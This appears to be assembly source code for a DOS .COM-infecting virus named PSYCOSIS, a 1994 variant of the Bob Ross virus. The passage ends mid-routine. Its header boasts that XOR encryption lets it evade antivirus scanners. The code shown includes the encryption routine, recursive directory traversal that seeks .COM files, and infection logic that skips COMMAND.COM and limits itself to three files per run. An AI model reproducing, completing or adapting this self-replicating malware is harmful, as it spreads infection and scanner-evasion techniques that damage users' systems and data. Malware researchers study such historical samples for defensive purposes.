; VirusName : PSYCOSIS
; Origin    : Sweden
; Author    : The Unforgiven
; Date      : 03/01/94

; This is yet another mutation of the Bob Ross virus, written by Dark
; Angel of Phalcon/Skism in September 1991. In my last version of this
; virus, I excluded the encryption, and included some destructive code
; instead. In this one, I added a new encryption, and thereby it went
; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV,
; can't find it. F-prot doesn't founds a shit, but Tbscan's most
; heuristics scanner says that it "probably" is infected with some
; unknown virus. The "standard" heuristic gets some flags, but not
; enough to say that it's infected. Therefor I'd like to claim that
; the scanners sucks!

; I had thought to change much more in the code, for example the
; spreading routine. This virus will search the whole tree for
; files to infect, and becomes therefor pretty slow, and easily
; detected. But hell, it spreads!, Hm, 3 files each run!..

; It also contains a resident printing part, which under some
; specific conditions will print some messages, in the top of the
; screen. If you're afraid that you are infected with this virus,
; just set the date to 0606 any year, and wait for some minutes. 
; If a sudden message shows up, delete your .COM file, which first
; character is an "&".

;=============================================================================
;			 **** PSYCOSIS ****
;=============================================================================

CODE    SEGMENT PUBLIC  'CODE'
        ORG     100h
        ASSUME  CS:CODE,DS:CODE,SS:CODE,ES:CODE

DTA_fileattr    EQU     21
DTA_filetime    EQU     22
DTA_filedate    EQU     24
DTA_filesize    EQU     26
DTA_filename    EQU     30

virus_marker    equ     026FFh   ; JMP WORD PTR
virus_marker2   equ     00104h   ; 0104h
part1_size      equ     part1_end - part1_start
part2_size      equ     part2_end - part2_start
offset_off      equ     duh2
init_delay      equ     5280    ; Initial delay
delay           equ     400     ; Subsequent delay
num_Messages    equ     7       ; Number of Bob messages
waves           equ     7       ; Number of waves to go off after
infec_date      equ     0606h   ; Date of psychosis .(swedish national day).

Counter         equ     108h
D_Mess          equ     110h
Int_08_Start    equ     112h

part1_start:
        jmp     word ptr duh
duh     dw      middle_part_end - part1_start + 100h
duh2    dw      0
part1_end:

middle_part_start:
middle_part_end:

;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
        cld
        call    decrypt
        mov     si, offset Go
        add     si, offset_off
        jmp     si

;encrypt_val     db      00h
encrypt_val      dw 0
decrypt:
encrypt:

         mov     si, offset encrypt_val
         add     si, offset_off
         mov     ah, byte ptr [si]

         mov     cx, offset part2_end - offset bam_bam
         add     si, offset bam_bam - offset encrypt_val
         mov     di, si
	 call	 cheater

xor_loop:
         lodsb                           ; DS:[SI] -> AL
         xor     al, ah
         stosb
         loop    xor_loop
         ret
cheater:
ret

copy_rest_stuff:
        push    si              ; SI -> buffer3
        call    encrypt
        mov     cx, part2_size
        pop     dx
        add     dx, offset part2_start - offset buffer3
        mov     ah, 40h
        int     21h
        call    decrypt
bam_bam:           
        ret

buffer    db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2   db part1_end - part1_start dup (?)
buffer3   dw ?
orig_path db 64 dup (?)
num_infec db 0                  ; Infection wave number
infec_now db 0                  ; Number files infected this time
root_dir  db '\',0		; root directory
com_mask  db '*.com',0		; files to infect
dir_mask  db '*.*',0		; files to search for
back_dir  db '..',0		; go "dot-dot".
nest      dw 0

DTA     db 43 DUP (0)           ; For use by infect_dir

Go:
        add     si, offset buffer - offset Go
        mov     di, si
        add     di, offset buffer2 - offset buffer
        mov     cx, part1_size
        rep     movsb

        mov     ah, 47h                 ; Get directory
        xor     dl,dl                   ; Default drive
        add     si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
        int     21h                     ;  in orig_path
        jc      Go_Error

        mov     ah, 3Bh                 ; Change directory
        mov     dx, si                  ;  to the root dir
        add     dx, offset root_dir - offset orig_path
        int     21h
        jc      Go_Error

        add     si, offset num_infec - offset orig_path
        inc     byte ptr [si]           ; New infection wave

        push    si                      ; Save offset num_infec

        add     si, offset infec_now - offset num_infec
        mov     byte ptr [si], 3        ; Reset infection
                                        ;  counter to 3
                                        ;  for D-new run.

        call    traverse_fcn            ; Do all the work

        pop     si                      ; Restore offset num_infec
        cmp     byte ptr [si], waves    ; 10 infection waves?
        jge     Go_Psycho               ; If so, activate

        mov     ah, 2Ah                 ; Get date
        int     21h
        cmp     dx, infec_date          ; Is it 07/09?
        jz      Go_Psycho               ; If so, activate
Go_Error:
        jmp     quit                    ; And then quit

Go_Psycho:
        jmp     Psycho

origattr  db 0
origtime  dw 0
origdate  dw 0
filesize  dw 0                  ; Size of the uninfected file

oldhandle dw 0

;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc    near
        push    bp                      ; Create stack frame
	mov	bp,sp
        sub     sp,44                   ; Allocate space for DTA
        push    si

        jmp     infect_directory
In_fcn:
        mov     ah,1Ah                  ;Set DTA
        lea     dx,word ptr [bp-44]     ; to space allotted
        int     21h                     ;Do it now, do it hard!

        mov     ah, 4Eh                 ;Find first
        mov     cx,16                   ;Directory mask
        mov     dx,offset dir_mask      ; *.*
        add     dx,offset_off
        int     21h
        jmp     short isdirok
gonow:
        cmp     byte ptr [bp-14], '.'   ;Is first char == '.'?
        je      short donext            ; If so, loop again
        lea     dx,word ptr [bp-14]     ;else load dirname
        mov     ah,3Bh                  ; and changedir there
        int     21h                     ;Yup, yup
        jc      short donext            ; Do next if invalid
        mov     si, offset nest         ; Else increment nest
        add     si, offset_off
        inc     word ptr [si]           ; nest++
        call    near ptr traverse_fcn   ; recurse directory
donext:
        lea     dx,word ptr [bp-44]     ;Load space allocated for DTA address
        mov     ah,1Ah                  ; and set DTA to it
        int     21h                     ; 'cause it might have changed

        mov     ah,4Fh                  ;Find next
        int     21h
isdirok:
        jnc     gonow                   ;If OK, jmp elsewhere
        mov     si, offset nest
        add     si, offset_off
        cmp     word ptr [si], 0        ;If root directory (nest == 0)
        jle     short cleanup           ; Quit
        dec     word ptr [si]           ;Else decrement nest
        mov     dx,offset back_dir      ;'..'
        add     dx, offset_off
        mov     ah,3Bh                  ;Change directory
        int     21h                     ; to previous one
cleanup:
        pop     si
	mov	sp,bp
	pop	bp
	ret
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================

Goto_Error:
        jmp     Error

enuff_for_now:
                                        ;Set nest to nil
        mov     si, offset nest         ; in order to
        add     si, offset_off          ; halt the D-Cool
        mov     word ptr [si], 0        ; traversal fcn
        jmp     short cleanup
return_to_fcn:
        jmp     short In_fcn            ;Return to traversal function

infect_directory:
        mov     ah, 1Ah                 ;Set DTA
        mov     dx, offset DTA          ; to DTA struct
        add     dx, offset_off
        int     21h

find_first_COM:
        mov     ah, 04Eh                ; Find first file
        mov     cx, 0007h               ; Any file
        mov     dx, offset com_mask     ; DS:[DX] --> filemask
        add     dx, offset_off
        int     21h                     ; Fill DTA (hopefully)
        jc      return_to_fcn           ; <Sigh> Error #E421:0.1
        jmp     check_if_COM_infected   ; I<___-Cool! Found one!

find_next_file2:
        mov     si, offset infec_now    ; Another loop,
        add     si, offset_off          ;  Another infection
        dec     byte ptr [si]           ;  Infected three?
        jz      enuff_for_now           ;   If so, exit
find_next_file:
        mov     ah,4Fh                  ; Find next
        int     21h
        jc      return_to_fcn

check_if_COM_infected:
        mov     si, offset DTA + dta_filename + 6 ; look at 7th letter
        add     si, offset_off
        cmp     byte ptr [si], 'D'              ; ??????D.COM?
        jz      find_next_file                  ; don't kill COMMAND.COM

        mov     ax,3D00h                        ; Open channel read ONLY
        mov     dx, si                          ; Offset Pathname in DX
        sub     dx, 6
        int     21h                             ; Open NOW!